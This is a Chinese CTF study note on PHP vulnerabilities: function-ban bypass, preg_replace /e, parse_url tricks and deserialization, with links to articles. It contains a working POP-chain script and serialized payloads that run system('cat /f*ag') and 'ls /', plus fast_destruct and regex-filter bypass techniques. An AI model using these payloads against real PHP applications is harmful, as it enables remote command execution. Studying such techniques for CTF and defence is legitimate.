php的一些知识点
一些函数漏洞
ban了一堆函数怎么办
php中函数禁用绕过的原理与利用_ctf ini_set(‘open_basedir’, ‘/var/www/html/:/tmp/‘-CSDN博客
file_put_contents利用技巧
(php://filter协议):file_put_contents利用技巧(php://filter协议) - yokan - 博客园 (cnblogs.com)
preg_replace漏洞
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
常用payload:
post模式下同理,一个传匹配模式,然后传恶意代码
parse_url函数的绕过(可以套娃)
parse_url函数的解释和绕过-CSDN博客
反序列化漏洞
好文:php(phar)反序列化漏洞及各种绕过姿势_php反序列化漏洞解决方案_奔跑的蜗牛.的博客-CSDN博客
绕过wakeup
字符串逃逸
例题参考moectf2023和newstarctf2023week4的一道题
fast_destruct
标准做法(newstarctf2023wee4一题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class Start { public $errMsg; } class Pwn { public $obj; } class Reverse { public $func; } class Web { public $func = "system"; public $var = "ls"; } class Crypto { public $obj; } $obj = new Start; $obj -> errMsg = new Crypto; $obj -> errMsg -> obj = new Reverse; $obj -> errMsg -> obj -> func = new Pwn; $obj -> errMsg -> obj -> func -> obj = new Web; $obj -> errMsg -> obj -> func -> obj -> func = "system"; $obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag"; $a[0] = $obj; $a[1] = NULL; echo str_replace("i:0", "i:1", serialize($a));
|
1.修改序列化数字元素个数
1 2 3 4 5
| newstarctf2023wee4一题
原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
|
2.去掉序列化尾部 }
1 2 3
| newstarctf2023wee4一题
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
|
preg_match(‘/^O:\d+/‘)的绕过方式
1 2
| 1、利用加号绕过(注意在 url 里传参时 + 要编码为 %2B) 2、serialize(array(a));a 为要反序列化的对象 (序列化结果开头是 a,不影响作为数组元素的 $a 的析构)
|
传引用改值